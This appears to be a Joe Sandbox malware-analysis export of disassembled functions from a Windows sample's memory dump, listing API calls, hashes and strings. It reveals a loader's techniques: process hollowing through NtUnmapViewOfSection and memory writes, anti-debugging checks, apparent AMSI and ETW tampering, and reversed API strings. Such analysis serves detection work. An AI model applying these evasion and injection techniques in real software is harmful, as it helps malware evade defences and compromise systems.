API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: 218d2faa62a9ca11a96c46d621b8c613bbae424d667d2f6d97a5087e05dc403f
Instruction ID: 7334c7630e839f5539f71adafa818d2e732c30a5379ceeed01369f5f8a77b15e
Opcode Fuzzy Hash: 218d2faa62a9ca11a96c46d621b8c613bbae424d667d2f6d97a5087e05dc403f
Instruction Fuzzy Hash: C7015E79214348AFCB01EF99EC55E9EBBECEB4EA00F508464B810DB680DB30ED14CB64

Function 031D8670 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 031D81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031D823C,?,?,00000000,?,031D7A7E,ntdll,00000000,00000000,031D7AC3,?,?,00000000), ref: 031D820A
Part of subcall function 031D81CC: GetModuleHandleA.KERNELBASE(?), ref: 031D821E

Part of subcall function 031D8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
Part of subcall function 031D8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
Part of subcall function 031D8274: GetProcAddress.KERNEL32(?,?), ref: 031D82D9

NtUnmapViewOfSection.NTDLL(?,?), ref: 031D86D5

Strings

ntdll, xrefs: 031D86B8
noitceSfOweiVpamnUtN, xrefs: 031D868B

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$SectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 3503870465-2520021413
Opcode ID: b515a9ef0e3938b5cd828536d1ea47e14434c8af810e93155a8dd448fab97c23
Instruction ID: 4693b60449f3c4cd5ee648149d261513dfb277ee783eadf733ad39ae6ff51acd
Opcode Fuzzy Hash: b515a9ef0e3938b5cd828536d1ea47e14434c8af810e93155a8dd448fab97c23
Instruction Fuzzy Hash: 66016D3D614348AFDB05EFA9EC51E5EBBADEB4EA10F918465B8109B640EB34A900C664

Function 031DDBB0 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlI.N(?,?,00000000,031DDC7E), ref: 031DDC2C
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,031DDC7E), ref: 031DDC42
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,031DDC7E), ref: 031DDC61

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Path$DeleteFileNameName_
String ID:
API String ID: 4284456518-0
Opcode ID: 7a5a20eee3082041f2813f2df9c7e296f23d9062c2f44950058c4b931404ae9b
Instruction ID: 9d7bc23f6756bd9ebe54ab9a09901fdf10b5aae966dadb23aecca9d989aec539
Opcode Fuzzy Hash: 7a5a20eee3082041f2813f2df9c7e296f23d9062c2f44950058c4b931404ae9b
Instruction Fuzzy Hash: 620162799443486FEB05EBA0AD91FDDB7BCAF4A704F514496D200EA081DBB4AB048725

Function 031DDC04 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 031C4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 031C4F2E

RtlI.N(?,?,00000000,031DDC7E), ref: 031DDC2C
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,031DDC7E), ref: 031DDC42
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,031DDC7E), ref: 031DDC61

Part of subcall function 031C4C60: SysFreeString.OLEAUT32(031DF4A4), ref: 031C4C6E

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: PathString$AllocDeleteFileFreeNameName_
String ID:
API String ID: 1530111750-0
Opcode ID: 4f0c81381db166d79dfe8ec0a1fe8d755a97cb58f718d8ba0dc793f12d131b6c
Instruction ID: 7d132b2384d7956405f185e1db58b3addd88bcf6d6b187c677df85b524acf2f1
Opcode Fuzzy Hash: 4f0c81381db166d79dfe8ec0a1fe8d755a97cb58f718d8ba0dc793f12d131b6c
Instruction Fuzzy Hash: DE012C7595430CBFDB11EBA4ED52FDDB3BCEB4E604F5144A5E200E6180EBB4AB048664

Function 031D6DC8 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 031D6D6C: CLSIDFromProgID.OLE32(00000000,?,00000000,031D6DB9,?,?,?,00000000), ref: 031D6D99

CoCreateInstance.OLE32(?,00000000,00000005,031D6EAC,00000000,00000000,031D6E2B,?,00000000,031D6E9B), ref: 031D6E17

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 539583ae73e7a44170ac7b5b1fcc5a640aa71a8e8c40b4a66581d1927e2e5a3b
Instruction ID: 1fbfbd7045470d820d61e77907ec3c4239da9daec8a843ed75485f19d7f88c66
Opcode Fuzzy Hash: 539583ae73e7a44170ac7b5b1fcc5a640aa71a8e8c40b4a66581d1927e2e5a3b
Instruction Fuzzy Hash: F5012635208704AFD715EFA1DC2286FBBBCE74EB00F920839F404E2680EB306D20C4A4

Function 031DF7C8 Relevance: 227.8, APIs: 8, Strings: 117, Instructions: 9071COMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,031EB784,?,?,?,00000000,00000000), ref: 031DF801

Part of subcall function 031D89D0: FreeLibrary.KERNEL32(74AE0000,00000000,00000000,00000000,00000000,0324738C,Function_0000662C,00000004,0324739C,0324738C,05F5E103,00000040,032473A0,74AE0000,00000000,00000000), ref: 031D8AAA

Part of subcall function 031DF6E8: GetModuleHandleW.KERNEL32(KernelBase,?,031DFAEB,UacInitialize,03247380,031EB7B8,OpenSession,03247380,031EB7B8,ScanBuffer,03247380,031EB7B8,ScanString,03247380,031EB7B8,Initialize), ref: 031DF6EE
Part of subcall function 031DF6E8: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 031DF700

Part of subcall function 031DF744: GetModuleHandleW.KERNEL32(KernelBase), ref: 031DF754
Part of subcall function 031DF744: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 031DF766
Part of subcall function 031DF744: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 031DF77D

Part of subcall function 031C7E5C: GetFileAttributesA.KERNEL32(00000000,?,031E041F,ScanString,03247380,031EB7B8,OpenSession,03247380,031EB7B8,ScanString,03247380,031EB7B8,UacScan,03247380,031EB7B8,UacInitialize), ref: 031C7E67

Part of subcall function 031CC364: GetModuleFileNameA.KERNEL32(00000000,?,00000105,0333B8B8,?,031E0751,ScanBuffer,03247380,031EB7B8,OpenSession,03247380,031EB7B8,ScanBuffer,03247380,031EB7B8,OpenSession), ref: 031CC37B

Part of subcall function 031DDD70: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,031DDE40), ref: 031DDDAB
Part of subcall function 031DDD70: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,031DDE40), ref: 031DDDDB
Part of subcall function 031DDD70: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 031DDDF0
Part of subcall function 031DDD70: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 031DDE1C
Part of subcall function 031DDD70: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 031DDE25

Part of subcall function 031C7E80: GetFileAttributesA.KERNEL32(00000000,?,031E356F,ScanString,03247380,031EB7B8,OpenSession,03247380,031EB7B8,ScanBuffer,03247380,031EB7B8,OpenSession,03247380,031EB7B8,Initialize), ref: 031C7E8B

Part of subcall function 031C8048: CreateDirectoryA.KERNEL32(00000000,00000000,?,031E370D,OpenSession,03247380,031EB7B8,ScanString,03247380,031EB7B8,Initialize,03247380,031EB7B8,ScanString,03247380,031EB7B8), ref: 031C8055

Strings

/o, xrefs: 031E64C0
EtwEventWrite, xrefs: 031EB148
NtQuerySecurityObject, xrefs: 031EAFE3
Kernel32, xrefs: 031EAA02, 031EAA11, 031EAA4D
VirtualAllocEx, xrefs: 031EAB0C
.url, xrefs: 031E5D93
SLIsGenuineLocalEx, xrefs: 031E9ED5
GetProcessMemoryInfo, xrefs: 031EA148
NtMapViewOfSection, xrefs: 031EAF7D
C:\\Users\\Public\\Libraries\\, xrefs: 031E616F
NtQueryVirtualMemory, xrefs: 031EAEB1
DlpGetArchiveFileTraceInfo, xrefs: 031EA4B3
RtlQueryProcessDebugInformation, xrefs: 031EA9A3
VirtualProtect, xrefs: 031EAB3F
kernel32, xrefs: 031EAAF0, 031EAB23, 031EAB56, 031EAB89, 031EABBC, 031EABEF, 031EAC22
WriteVirtualMemory, xrefs: 031EABA5
sppc, xrefs: 031E9E86, 031E9EB9, 031E9EEC, 031E9F1F, 031EAE2F, 031EAE62
MZP, xrefs: 031E9992
CreateProcessW, xrefs: 031EAA0C
UacScan, xrefs: 031DF836, 031E00D9, 031E01D1, 031E07A0, 031E1386, 031E1964, 031E22C6, 031E29D9, 031E3C2E, 031E5B8F, 031E60FF, 031E62C4, 031E65EA, 031E66F7, 031E6955, 031E6A4D, 031E75F0, 031E7992, 031E7BA9, 031E7D3C, 031E7F90, 031E841C, 031E85A5, 031E86FE, 031E88A4, 031E8A31, 031E8BC5, 031E8D44, 031E8FBB, 031E9429, 031E9643, 031E9824, 031E99BD, 031E9BF3, 031EAA63
wintrust, xrefs: 031DFC1A, 031DFC4D, 031DFC80
NtDeviceIoControlFile, xrefs: 031EA985
sppwmi, xrefs: 031EADFC
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 031E098A
LdrGetProcedureAddress, xrefs: 031EB07C
endpointdlp, xrefs: 031EA464, 031EA497, 031EA4CA, 031EA4FD
ntdll, xrefs: 031E922B, 031E927B, 031E928F, 031EA628, 031EA65B, 031EA68E, 031EA6C1, 031EA6F4, 031EAE95, 031EAEC8, 031EAEFB, 031EAF2E, 031EAF61, 031EAF94, 031EAFC7, 031EAFFA, 031EB02D, 031EB060, 031EB093, 031EB0C6, 031EB0F9, 031EB12C, 031EB15F
NtOpenSection, xrefs: 031EAF17
GZmMS1j, xrefs: 031DF80F
DlpCheckIsCloudSyncApp, xrefs: 031EA480
Initialize, xrefs: 031DF8FE, 031E081C, 031E09B0, 031E0B4E, 031E0CF4, 031E0FA9, 031E164C, 031E1A88, 031E1F32, 031E203C, 031E2723, 031E2A55, 031E2D75, 031E30A9, 031E3257, 031E3583, 031E393C, 031E5876, 031E5C0B, 031E6007, 031E61CC, 031E6438, 031E656E, 031E6773, 031E76E8, 031E83A0, 031E93AD, 031E9FBD, 031EA35B, 031EA88A, 031EAC44, 031EB190
tquery, xrefs: 031EA0C6
DllRegisterServer, xrefs: 031DFB54, 031E00A0
C:\Users\Public\, xrefs: 031E5D88, 031E6FF3
RetailTracerEnable, xrefs: 031EA0AF
EnumServicesStatusExW, xrefs: 031EA9DF
HotKey=, xrefs: 031E6EE1
NtQueryInformationThread, xrefs: 031EAEE4
BCryptQueryProviderRegistration, xrefs: 031DFEDC
DlpGetWebSiteAccess, xrefs: 031EA4E6
URL=file:", xrefs: 031E6D57
SxTracerGetThreadContextDebug, xrefs: 031EA0E2, 031EADB2
SLGetEncryptedPIDEx, xrefs: 031EAE4B
C:\Windows\System32\, xrefs: 031E040A, 031E796B, 031E86B3
CryptSIPGetSignedDataMsg, xrefs: 031DFDFA
NtOpenObjectAuditAlarm, xrefs: 031E9226
IconIndex=, xrefs: 031E6DAD
MiniDumpWriteDump, xrefs: 031E924E
SLLoadApplicationPolicies, xrefs: 031E9F08
EtwEventWriteEx, xrefs: 031EB115
NtOpenFile, xrefs: 031EB0E2
psapi, xrefs: 031EA9F3
CreateProcessA, xrefs: 031EA9FD
spp, xrefs: 031EA0F9, 031EA12C, 031EADC9
FindCertsByIssuer, xrefs: 031DFC69
TrustOpenStores, xrefs: 031DFC03
mssip32, xrefs: 031DFDAB, 031DFDDE, 031DFE11, 031EA192
RtlAllocateHeap, xrefs: 031EA644, 031EA6AA
SLGatherMigrationBlob, xrefs: 031EAE18
Advapi, xrefs: 031EA9B7, 031EA9C6, 031EA9D5, 031EA9E4, 031EAA20, 031EAA2F, 031EAA3E
WintrustAddActionID, xrefs: 031DFC36
C:\\Windows\\System32\\esentutl.exe /y , xrefs: 031E64AA
OpenProcess, xrefs: 031EAB72
BCryptVerifySignature, xrefs: 031DFEA9, 031EA2A6
SetUnhandledExceptionFilter, xrefs: 031EAC0B
NtAlertResumeThread, xrefs: 031EA611
bcrypt, xrefs: 031DFEC0, 031DFEF3, 031DFF26, 031EA2BD
CreateProcessWithLogonW, xrefs: 031EAA39
EnumServicesStatusExA, xrefs: 031EA9D0
psapi, xrefs: 031EA15F
RtlCreateQueryDebugBuffer, xrefs: 031EA6DD
VirtualAlloc, xrefs: 031EAAD9
GET, xrefs: 031E2455
Ntdll, xrefs: 031EA97B, 031EA98A, 031EA999, 031EA9A8
NtSetSecurityObject, xrefs: 031E9276
GetProxyDllInfo, xrefs: 031DFB2A
NtGetWriteWatch, xrefs: 031EAE7E
advapi32, xrefs: 031E923F
http, xrefs: 031E2128
OpenSession, xrefs: 031DF89A, 031DFA2A, 031E0312, 031E0433, 031E0540, 031E0658, 031E0A2C, 031E0BCA, 031E0D70, 031E0E90, 031E1025, 031E111D, 031E130A, 031E14B0, 031E17DE, 031E1A0C, 031E1B80, 031E1CA3, 031E1E21, 031E21C7, 031E224A, 031E2362, 031E247A, 031E2586, 031E27A4, 031E28C1, 031E2B60, 031E2BDC, 031E2DF1, 031E2F91, 031E32D3, 031E3461, 031E367B, 031E3795, 031E3B36, 031E5634, 031E57CE, 031E596E, 031E5B13, 031E5C87, 031E5ED7, 031E5F8B, 031E6248, 031E6340, 031E67EF, 031E6AC9, 031E6C3D, 031E6DD3, 031E6F83, 031E766C, 031E7871, 031E7A8A, 031E7B2D, 031E7CC0, 031E8088, 031E8324, 031E8621, 031E877A, 031E8920, 031E8AAD, 031E8C41, 031E8DC0, 031E8EC3, 031E9037, 031E92B5, 031E94A5, 031E9796, 031E991C, 031E9B77, 031E9D7D, 031E9F41, 031EA230, 031EA2DF, 031EA51F, 031EA716, 031EA80E, 031EACC0, 031EB288
BCryptRegisterProvider, xrefs: 031DFF0F
ScanString, xrefs: 031DF962, 031DFB8D, 031DFCA2, 031DFE33, 031DFFC4, 031E024D, 031E038E, 031E0914, 031E152C, 031E16C8, 031E1B04, 031E1D1F, 031E1D9B, 031E20B8, 031E23DE, 031E26A7, 031E2AE4, 031E2F15, 031E3125, 031E31DB, 031E34DD, 031E35FF, 031E38C0, 031E55B8, 031E5752, 031E5A97, 031E5E5B, 031E64F2, 031E6CD8, 031E6E4F, 031E6F07, 031E7574, 031E7A0E, 031E7E75, 031E8498, 031E8F3F, 031E9331, 031E971A, 031E9AFB, 031E9DF9, 031EA1B4, 031EA59B, 031EA792, 031EAD3C
NtWriteVirtualMemory, xrefs: 031EB0AF
NtOpenProcess, xrefs: 031E928A
EnumServicesStatusA, xrefs: 031EA9B2
EnumServicesStatusW, xrefs: 031EA9C1
dbgcore, xrefs: 031E9253, 031E9267
CreateProcessAsUserA, xrefs: 031EAA1B
[InternetShortcut], xrefs: 031E6D48
NtQuerySystemInformation, xrefs: 031EA976
can, xrefs: 031E3D15
CryptSIPGetInfo, xrefs: 031DFD94
UacInitialize, xrefs: 031DFA8E, 031E0155, 031E0898, 031E553C, 031E58F2, 031E5DDF, 031E78ED, 031E912F, 031E954B
LdrLoadDll, xrefs: 031EB049
WinHttp.WinHttpRequest.5.1, xrefs: 031E233C
CryptSIPVerifyIndirectData, xrefs: 031DFDC7, 031EA17B
NtWaitForSingleObject, xrefs: 031EA677
CreateProcessAsUserW, xrefs: 031EAA2A, 031EAA48
/d , xrefs: 031E64B5
UacUninitialize, xrefs: 031E3844, 031E3BB2
SLGetGenuineInformation, xrefs: 031E9E6F
NtAccessCheck, xrefs: 031EB016
EnumProcessModules, xrefs: 031EA9EE
DllGetClassObject, xrefs: 031DFB03, 031E003A, 031EA115, 031EADE5
smartscreenps, xrefs: 031E0051, 031E0084, 031E00B7
ieproxy, xrefs: 031DFB14, 031DFB3B, 031DFB6B
NtQueryDirectoryFile, xrefs: 031EA994
ScanBuffer, xrefs: 031DF9C6, 031DFD1E, 031DFF48, 031E04AF, 031E05BC, 031E06D4, 031E0AA8, 031E0C46, 031E0DEC, 031E0F0C, 031E10A1, 031E1199, 031E1402, 031E15A8, 031E1744, 031E185A, 031E18E8, 031E1BFC, 031E1E9D, 031E1FAE, 031E214B, 031E24F6, 031E2602, 031E2820, 031E293D, 031E2C58, 031E2CF9, 031E2E6D, 031E302D, 031E334F, 031E3719, 031E39B8, 031E3ABA, 031E56B0, 031E59EA, 031E5D03, 031E6083, 031E63BC, 031E6666, 031E686B, 031E69D1, 031E6B45, 031E6BC1, 031E7764, 031E77F5, 031E7C25, 031E7DB8, 031E7F14, 031E800C, 031E8529, 031E87F6, 031E899C, 031E8B29, 031E8CBD, 031E8E3C, 031E90B3, 031E91AB, 031E95C7, 031E98A0, 031E9A39, 031E9C6F, 031E9D01, 031EA039, 031EA3D7, 031EA906, 031EB20C
FlushInstructionCache, xrefs: 031EABD8
DllGetActivationFactory, xrefs: 031E006D
NtCreateSection, xrefs: 031EAF4A
NtReadVirtualMemory, xrefs: 031EAFB0
MiniDumpReadDumpStream, xrefs: 031E9262
SLGetSLIDList, xrefs: 031E9EA2
DlpNotifyPreDragDrop, xrefs: 031EA44D
acS, xrefs: 031E3D02
I_QueryTagInformation, xrefs: 031E923A

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: File$Module$AddressAttributesHandleNamePathProc$CheckCloseCreateDebuggerDirectoryFreeInetInformationLibraryName_OfflineOpenPresentQueryReadRemote
String ID: /d $ /o$.url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\esentutl.exe /y $CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$acS$advapi32$bcrypt$can$dbgcore$endpointdlp$http$ieproxy$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
API String ID: 297057983-2644593349
Opcode ID: b223cbff77265a38e381ce7f3f885762f0a343e89113fc99ac5b1eafacb04ee2
Instruction ID: c41d9fc9d297105ec49f1a43e93ab3e88f9f0fb026c542dadb42649bd13a7dae
Opcode Fuzzy Hash: b223cbff77265a38e381ce7f3f885762f0a343e89113fc99ac5b1eafacb04ee2
Instruction Fuzzy Hash: 7314FC3DA1C26C8FCB12EB65DC90ACE73B5EB9D700F5080A99149AF654DF31AE818F51

Function 031E8128 Relevance: 162.0, APIs: 5, Strings: 86, Instructions: 2778
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 031D89D0: FreeLibrary.KERNEL32(74AE0000,00000000,00000000,00000000,00000000,0324738C,Function_0000662C,00000004,0324739C,0324738C,05F5E103,00000040,032473A0,74AE0000,00000000,00000000), ref: 031D8AAA

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0333B7E0,0333B824,OpenSession,03247380,031EB7B8,UacScan,03247380), ref: 031E86E9
ResumeThread.KERNEL32(00000000,ScanBuffer,03247380,031EB7B8,OpenSession,03247380,031EB7B8,UacScan,03247380,031EB7B8,ScanBuffer,03247380,031EB7B8,OpenSession,03247380,031EB7B8), ref: 031E8D33
CloseHandle.KERNEL32(00000000,ScanBuffer,03247380,031EB7B8,OpenSession,03247380,031EB7B8,UacScan,03247380,031EB7B8,00000000,ScanBuffer,03247380,031EB7B8,OpenSession,03247380), ref: 031E8EB2

Part of subcall function 031D894C: LoadLibraryW.KERNEL32(bcrypt,?,0000089C,00000000,032473A8,031DA587,ScanString,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,Initialize,032473A8,031DA93C,UacScan), ref: 031D8960
Part of subcall function 031D894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 031D897A
Part of subcall function 031D894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000089C,00000000,032473A8,031DA587,ScanString,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,Initialize), ref: 031D89B6

CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,03247380,031EB7B8,UacInitialize,03247380,031EB7B8,ScanBuffer,03247380,031EB7B8,OpenSession,03247380,031EB7B8,UacScan,03247380), ref: 031E92A4

Part of subcall function 031C7E5C: GetFileAttributesA.KERNEL32(00000000,?,031E041F,ScanString,03247380,031EB7B8,OpenSession,03247380,031EB7B8,ScanString,03247380,031EB7B8,UacScan,03247380,031EB7B8,UacInitialize), ref: 031C7E67

Part of subcall function 031DDC8C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,031DDD5E), ref: 031DDCCB
Part of subcall function 031DDC8C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 031DDD05
Part of subcall function 031DDC8C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 031DDD32
Part of subcall function 031DDC8C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 031DDD3B

Part of subcall function 031D8338: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,031D83C2), ref: 031D83A4

ExitProcess.KERNEL32(00000000,OpenSession,03247380,031EB7B8,ScanBuffer,03247380,031EB7B8,Initialize,03247380,031EB7B8,00000000,00000000,00000000,ScanString,03247380,031EB7B8), ref: 031EB2FA

Strings

psapi, xrefs: 031EA9F3
EtwEventWrite, xrefs: 031EB148
NtQuerySecurityObject, xrefs: 031EAFE3
CreateProcessA, xrefs: 031EA9FD
Kernel32, xrefs: 031EAA02, 031EAA11, 031EAA4D
spp, xrefs: 031EA0F9, 031EA12C, 031EADC9
VirtualAllocEx, xrefs: 031EAB0C
SLIsGenuineLocalEx, xrefs: 031E9ED5
mssip32, xrefs: 031EA192
RtlAllocateHeap, xrefs: 031EA644, 031EA6AA
GetProcessMemoryInfo, xrefs: 031EA148
SLGatherMigrationBlob, xrefs: 031EAE18
Advapi, xrefs: 031EA9B7, 031EA9C6, 031EA9D5, 031EA9E4, 031EAA20, 031EAA2F, 031EAA3E
NtMapViewOfSection, xrefs: 031EAF7D
NtQueryVirtualMemory, xrefs: 031EAEB1
BCryptVerifySignature, xrefs: 031EA2A6
OpenProcess, xrefs: 031EAB72
DlpGetArchiveFileTraceInfo, xrefs: 031EA4B3
RtlQueryProcessDebugInformation, xrefs: 031EA9A3
SetUnhandledExceptionFilter, xrefs: 031EAC0B
VirtualProtect, xrefs: 031EAB3F
kernel32, xrefs: 031EAAF0, 031EAB23, 031EAB56, 031EAB89, 031EABBC, 031EABEF, 031EAC22
NtAlertResumeThread, xrefs: 031EA611
bcrypt, xrefs: 031EA2BD
CreateProcessWithLogonW, xrefs: 031EAA39
WriteVirtualMemory, xrefs: 031EABA5
EnumServicesStatusExA, xrefs: 031EA9D0
sppc, xrefs: 031E9E86, 031E9EB9, 031E9EEC, 031E9F1F, 031EAE2F, 031EAE62
psapi, xrefs: 031EA15F
MZP, xrefs: 031E9992
RtlCreateQueryDebugBuffer, xrefs: 031EA6DD
CreateProcessW, xrefs: 031EAA0C
UacScan, xrefs: 031E841C, 031E85A5, 031E86FE, 031E88A4, 031E8A31, 031E8BC5, 031E8D44, 031E8FBB, 031E9429, 031E9643, 031E9824, 031E99BD, 031E9BF3, 031EAA63
VirtualAlloc, xrefs: 031EAAD9
NtDeviceIoControlFile, xrefs: 031EA985
Ntdll, xrefs: 031EA97B, 031EA98A, 031EA999, 031EA9A8
NtSetSecurityObject, xrefs: 031E9276
